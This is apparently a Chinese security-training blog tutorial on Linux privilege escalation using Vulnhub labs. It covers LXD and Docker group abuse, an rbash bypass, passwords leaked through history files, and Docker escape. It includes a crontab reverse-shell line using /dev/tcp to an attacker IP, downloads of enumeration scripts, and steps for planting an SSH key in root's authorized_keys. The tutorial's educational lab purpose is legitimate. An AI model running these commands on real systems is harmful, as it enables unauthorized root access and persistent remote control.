权限提升-Linux系统权限提升篇VulnhubRbash绕过DockerLXD容器History泄漏shell交互

知识点

1、普通用户到Linux-泄漏-History
2、普通用户到Linux-限制-Rbash绕过
3、普通用户到Linux-容器-LXD&Docker
4.Linux系统提权-web/普通用户-docker逃逸&提权&shell交互

章节点:
1、Web权限提升及转移
2、系统权限提升及转移
3、宿主权限提升及转移
4、域控权限提升及转移

基础点

0、为什么我们要学习权限提升转移技术:

简单来说就是达到目的过程中需要用到它

1、具体有哪些权限需要我们了解掌握的:

后台权限
数据库权限
Web权限
计算机用户权限
计算机系统权限
宿主机权限
域控制器权限

2、以上常见权限获取方法简要归类说明:

后台权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
数据库权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
Web权限:RCE,反序列化,文件上传等直达或通过后台数据库间接造成
计算机用户权限:弱口令,数据泄漏等直达或通过Web,服务器及域控转移造成
计算机系统权限:系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成
宿主机权限:Docker不安全配置或漏洞权限提升直达(服务资产造成入口后提升)
域控制器权限:内网域计算机用户提升或自身内核漏洞,后门攻击,主机软件安全直达

3、以上常见权限获取后能操作的具体事情:

后台权限:文章管理,站点管理,模版管理,数据管理,上传管理等
数据库权限:操作数据库的权限,数据增删改查等(以数据库用户为主)
Web权限:源码查看,源码文件增删改查,磁盘文件文件夹查看(以权限配置为主)
计算机用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)
计算机系统权限:就如同自己电脑上能操作的情况(整个系统都是你的)
宿主机权限:就如同自己电脑上能操作的情况(整个系统都是你的)
域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)

4、以上常见权限在实战中的应用场景介绍:

当我们通过弱口令进入到应用后台管理
当我们下载备份文件获取到数据库信息
当我们通过漏洞拿到资产系统的Web权限
当我们在公司被给予账号密码登录计算机或系统
当我们在公司或钓鱼后门获取到某个公司机器系统
.....................................

Linux提权

1、内核溢出提权
2、suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
3、数据库类型提权

Linux:

系统用户:UID(0-999)
普通用户:UID(1000-*)
root用户:UID为0,拥有系统的完全控制权限

综合检测脚本

https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum

应用场景
获取到Web权限或普通用户在Linux服务器上时进行的权限提升

SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)。

LXD、LXC 和 Docker 是三种不同的容器化技术,它们在实现和使用上有一些区别。
总结来说,LXD是基于LXC的系统级容器管理器,提供了更高级别的接口和管理工具;LXC是Linux内核提供的一种虚拟化技术,允许在单个Linux内核上运行多个隔离的用户空间实例;而Docker是基于LXC的容器化平台,提供了一套简化容器构建、分发和运行的工具和API。

LXD(Linux容器守护程序)是一个系统级容器管理器,它基于LXC(Linux容器)技术。LXD提供了更高级别的接口和管理工具,使得轻松创建和管理系统容器成为可能。LXD主要面向系统级容器,可以运行完整的操作系统镜像,并提供类似于虚拟机的环境。它提供了更好的隔离性、资源控制和安全性。

LXC(Linux容器)是Linux内核提供的一种虚拟化技术,它允许在单个Linux内核上运行多个隔离的用户空间实例。LXC提供了一组工具和API,用于创建和管理容器。LXC容器通常比LXD容器更加灵活和轻量级,可以定制底层操作系统的各个方面。LXC更适合于需要更细粒度控制的使用场景。

Docker是一个开源的容器化平台,它建立在LXC之上,并提供了一套更高级别的工具和API,使得容器的构建、分发和运行变得更加简单。Docker提供了一个容器镜像的集装箱模型,使得容器可以在不同的环境中进行移植和部署。Docker强调容器的可移植性和易用性,适用于开发、测试和部署应用程序的场景。

一、演示案例-Linux系统提权-普通用户-LXD容器

原理

LXD是基于LXC容器的管理程序,当前用户可操作容器,
理解为用户创建一个容器,再用容器挂载宿主机磁盘,
最后使用容器权限操作宿主机磁盘内容达到提权效果。

lxd本地提权条件

-已经获得普通用户Shell
-用户属于lxd组

复现环境:https://www.vulnhub.com/entry/ai-web-2,357/

1、入口点

普通用户
User: n0nr00tuser
Pass: zxowieoi4sdsadpEClDws1sf

在这里插入图片描述

2、脚本检测及利用

./LinEnum.sh

在这里插入图片描述

3、创建镜像容器,挂载磁盘,进入镜像容器,进入目录提权

容器镜像:https://github.com/saghul/lxd-alpine-builder
在这里插入图片描述

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test //导入这个镜像命名为test容器
lxc init test test -c security.privileged=true //初始化这个镜像

在这里插入图片描述

lxc config device add test test disk source=/ path=/mnt/root recursive=true  //挂载镜像磁盘,镜像的/mnt/root目录就是真实下的/目录。

在这里插入图片描述

lxc start test //启动这个test容器
lxc exec test /bin/sh  //获取这个test容器shell
cd /mnt/root/root //进入目录提权
cat flag.txt

在这里插入图片描述
在这里插入图片描述

二、演示案例-Linux系统提权-普通用户-Docker容器

跟docker逃逸不同的是docker提权是拿到一个真实服务器上的普通用户后利用服务器上的docker进行权限提升,docker逃逸是逃逸,docker提权是提权,两回事。
在这里插入图片描述

Docker本地提权条件

1、已经获得普通用户Shell
2、用户属于docker组

本地实验

把一个普通账号dockertest添加到docker组,使用newgrp更新docker组
usermod -G docker dockertest
newgrp docker
su dockertest

在这里插入图片描述

docker run -v /:/mnt -it alpine //利用docker起一个镜像并把真机的/目录挂载到镜像的/mnt目录。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

vulnhub

复现环境:https://www.vulnhub.com/entry/chill-hack-1,622/

1、入口点

普通用户
User: anurodh
Pass: !d0ntKn0wmYp@ssw0rd

2、检测及利用

手工查询
在这里插入图片描述
脚本检测

./LinEnum.sh

在这里插入图片描述

3、创建容器,挂载磁盘,进入容器,进入目录提权

docker run -v /:/mnt -it alpine
cd /mnt/root

在这里插入图片描述

三、演示案例-Linux系统提权绕过-普通用户-Rbash绕过

Rbash(The Restricted mode of bash),也就是限制型bash(有些命令执行不了)
在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作
adduser rbashtest  //创建rbashtest用户
passwd rbashtest //设置rbashtest密码,不设置这用户用不了
usermod -s /bin/rbash rbashtest  //将rbashtest用户添加到rbash组

在这里插入图片描述
复现环境:https://www.vulnhub.com/entry/funbox-rookie,520/

1、入口点

fscan -h 192.168.1.0/24

在这里插入图片描述

ftp 192.168.1.8

在这里插入图片描述
在这里插入图片描述

get tom.zip(解压密码iubire)

在这里插入图片描述
在这里插入图片描述

ssh tom@192.168.1.8 -i id_rsa

在这里插入图片描述

2、Rbash绕过

python -m http.server 8080

在这里插入图片描述

wget http://192.168.1.3:8080/LinEnum.sh

在这里插入图片描述
在这里插入图片描述
如何绕过rbash限制?

参考:https://xz.aliyun.com/t/7642
awk 'BEGIN {system("/bin/bash")}'
./LinEnum.sh

在这里插入图片描述
在这里插入图片描述

3、历史泄漏提权

history //查看执行的历史命令,里面有可能会泄露一些敏感信息。
cat /home/tom/.mysql_history //泄露root密码

在这里插入图片描述

su root(xx11yy22!)  

在这里插入图片描述

四、演示案例-Linux系统提权-web/普通用户-docker逃逸&提权&shell交互

在这里插入图片描述
https://github.com/cdk-team/CDK
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

写到宿主机计划任务反弹shell

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab

写到宿主机计划任务反弹shell

1.ssh-keygen -t rsa //执行生成key命令

在这里插入图片描述

id_rsa  #私钥
id_rsa.pub  #公钥

在这里插入图片描述

2.将id_rsa.pub公钥上传到公网服务器中,目标上使用wget下载这个公钥下载到本地

将公钥写入到宿主机authorized_keys文件中
mkdir /mnt/root/.ssh && touch /mnt/root/.ssh/authorized_keys
cat id_rsa.pub >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && chmod 700 /root/.ssh/

3.ssh秘钥登录

自己的攻击机器上执行
cd /root/.ssh/
ssh -i id_rsa root@目标IP
或者ssh直接连也行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/514006.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[计算机效率] 格式转换工具:格式工厂

3.14 格式转换工具:格式工厂 格式工厂是一款功能强大的多媒体格式转换软件,可以实现音频、视频、图片等多种格式的转换。它支持几乎所有类型的多媒体格式,包括视频、音频、图片、字幕等,可以轻松实现格式之间的转换,并…

java Web 健身管理系统idea开发mysql数据库LayUI框架java编程计算机网页源码maven项目

一、源码特点 java Web健身管理系统是一套完善的信息管理系统,结合java 开发技术和bootstrap完成本系统,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。 前段主要技术 layUI bootst…

【前端面试3+1】10 npm run dev 发生了什么、vue的自定义指令如何实现、js的数据类型有哪些及其不同、【最长公共前缀】

一、npm run dev发生了什么 运行npm run dev时,通常是在一个基于Node.js的项目中,用来启动开发服务器或者执行一些开发环境相关的任务。下面是一般情况下npm run dev会执行的步骤: 1. 查找package.json中的scripts字段: npm会在项…

SQL server 查询数据库中所有的表名及行数

SQL server 查询数据库中所有的表名及行数 select a.name,b.rows from sysobjects as ainner join sysindexes as bon a.id b.id where (a.type u)and (b.indid in (0, 1)) and b.rows<50 and b.rows>20 order by a.name, b.rows desc;

elementui 左侧或水平导航菜单栏与main区域联动

系列文章目录 一、elementui 导航菜单栏和Breadcrumb 面包屑关联 二、elementui 左侧导航菜单栏与main区域联动 三、elementui 中设置图片的高度并支持PC和手机自适应 四、elementui 实现一个固定位置的Pagination&#xff08;分页&#xff09;组件 文章目录 系列文章目录…

glm2大语言模型服务环境搭建

一、模型介绍 ChatGLM2-6B 是开源中英双语对话模型 ChatGLM-6B 的第二代版本&#xff0c;在保留了初代模型对话流畅、部署门槛较低等众多优秀特性的基础之上&#xff0c;ChatGLM2-6B 引入了如下新特性&#xff1a; 更强大的性能&#xff1a;基于 ChatGLM 初代模型的开发经验&…

当Pycharm中右键运行python程序时出现Run ‘pytest in tests ***py‘,如何解决?

1、在Pycharm中右键运行python程序时出现Run pytest in tests ***py &#xff0c;这是进入了Pytest模式。 2、解决办法 进入到File->Settings->Tools->Python integrated Tools页面或者快捷键&#xff08;CtrlAltS&#xff09; 找到Testing下的Default test runner …

用QT调用FFMPEG的接口

1、调用FFmpeg接口 打开Qt&#xff0c;新建工程&#xff1b; 在工程的pro文件中&#xff0c;添加如下字段&#xff1b; TEMPLATE app CONFIG console CONFIG - app_bundle CONFIG - qtSOURCES \main.c INCLUDEPATH /home/wxw/ffmpeg_build/includeLIBS /home/wxw/ffmpe…

centOS如何升级python

centOS下升级python版本的详细步骤 1、可利用linux自带下载工具wget下载&#xff0c;如下所示&#xff1a; 笔者安装的是最小centos系统&#xff0c;所以使用编译命令前&#xff0c;必须安装wget服务&#xff0c;读者如果安装的是界面centos系统&#xff0c;或者使用过编译工具…

drawio画图编辑图形颜色

drawio画图编辑图形颜色 团队的安全第一图表。将您的存储空间带到我们的在线工具中&#xff0c;或使用桌面应用程序进行本地保存。 1.安装准备 1.1安装平台 多平台 1.2在线使用 浏览器打开网页使用 1.3软件下载 drawio官网github仓库下载 2.在浏览器的网页中使用drawio…

c++20协程详解(三)

前言 前面两节我们已经能够实现一个可用的协程框架了。但我们一定还想更深入的了解协程&#xff0c;于是我们就想尝试下能不能co_await一个协程。下面会涉及到部分模板编程的知识&#xff0c;主要包括&#xff08;模板偏特化&#xff0c;模板参数列表传值&#xff0c;模板函数…

redis事务(redis features)

redis支持事务&#xff0c;也就是可以在一次请求中执行多个命令。redis中的事务主要是通过MULTI和EXEC这两个命令来实现的。 MULTI命令用来开启一个事务&#xff0c;事务开启之后&#xff0c;所有的命令就都会被放入到一个队列中&#xff0c;最后通过一个EXEC命令来执行事务中…

【MATLAB源码-第29期】基于matlab的MIMO,MISO,SIMO,SISO瑞利rayleigh信道容量对比。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 1. SISO&#xff08;单输入单输出&#xff09;&#xff1a; - SISO 是指在通信系统中&#xff0c;只有一个天线用于传输信号&#xff0c;也只有一个天线用于接收信号的情况。这是最简单的通信方式。 2. SIMO&#xff08;单…

基于AI智能识别技术的智慧展览馆视频监管方案设计

一、建设背景 随着科技的不断进步和社会安全需求的日益增长&#xff0c;展览馆作为展示文化、艺术和科技成果的重要场所&#xff0c;其安全监控系统的智能化升级已成为当务之急。为此&#xff0c;旭帆科技&#xff08;TSINGSEE青犀&#xff09;基于视频智能分析技术推出了展览…

单例模式(加深版)

单例模式&#xff08;加深版&#xff09; 饿汉模式 缺点&#xff1a;造成资源的浪费 示例&#xff1a; ## 懒汉模式 示例&#xff1a; 枚举类型单例模式 示例&#xff1a;

ElasticSearch7.8的下载与安装和Kibana 7.8.0工具使用安装

1、ElasticSearch7.8.0下载 elasticsearch: 官方下载地址&#xff1a;https://www.elastic.co/cn/downloads/elasticsearch 链接: https://pan.baidu.com/s/1wAKQoB3nhLhcnBlPfVOLxQ 提取码: t83n kibana: 链接: https://pan.baidu.com/s/156aD9zDdvUv8LFgDEIPoSw 提取码:…

案例分析-程序的机器级表示

案例一&#xff1a;关于编译优化 请自写一段if- else简单分支程序&#xff0c;分别尝试对它进行不带优化、-O1优化和-O2优化&#xff0c;比较它们的机器级表达&#xff0c;并讨论优劣。 图一为不带优化、图二为O1优化、图三为O2优化、图四为原始C代码。 &#xff08;1&#xff…

Docker实战教程 第1章 Linux快速入门

2-1 Linux介绍 为什么要学Linux 三个不得不学习 课程需要&#xff1a;Docker开发最好在Linux环境下。 开发需要&#xff1a;作为一个后端程序员&#xff0c;是必须要掌握Linux的&#xff0c;这是找工作的基础门槛。 运维需要&#xff1a;在服务器端&#xff0c;主流的大型服…

JVM中常见垃圾收集器介绍

常见垃圾收集器 垃圾收集器介绍垃圾收集器使用命令及默认值串行垃圾收集器并行垃圾收集器CMS&#xff08;并发&#xff09;垃圾收集器G1收集器&#xff08;Garbage-First Collector&#xff09;面试题&#xff1a;为何新生代和老年代采取的算法不一样? 垃圾收集器介绍 GC算法…

ArrayList与线性表详解

1.线性表 线性表是n个具有相同特性的数据元素的有限序列。线性表是一种在实际中广泛使用的数据结构&#xff0c;常见的线性表有&#xff1a;顺序表、链表、队列…… 线性表在逻辑上是线性结构&#xff0c;也就是说是连续的一条直线。但是在物理结构上不一定是连续的&#xff…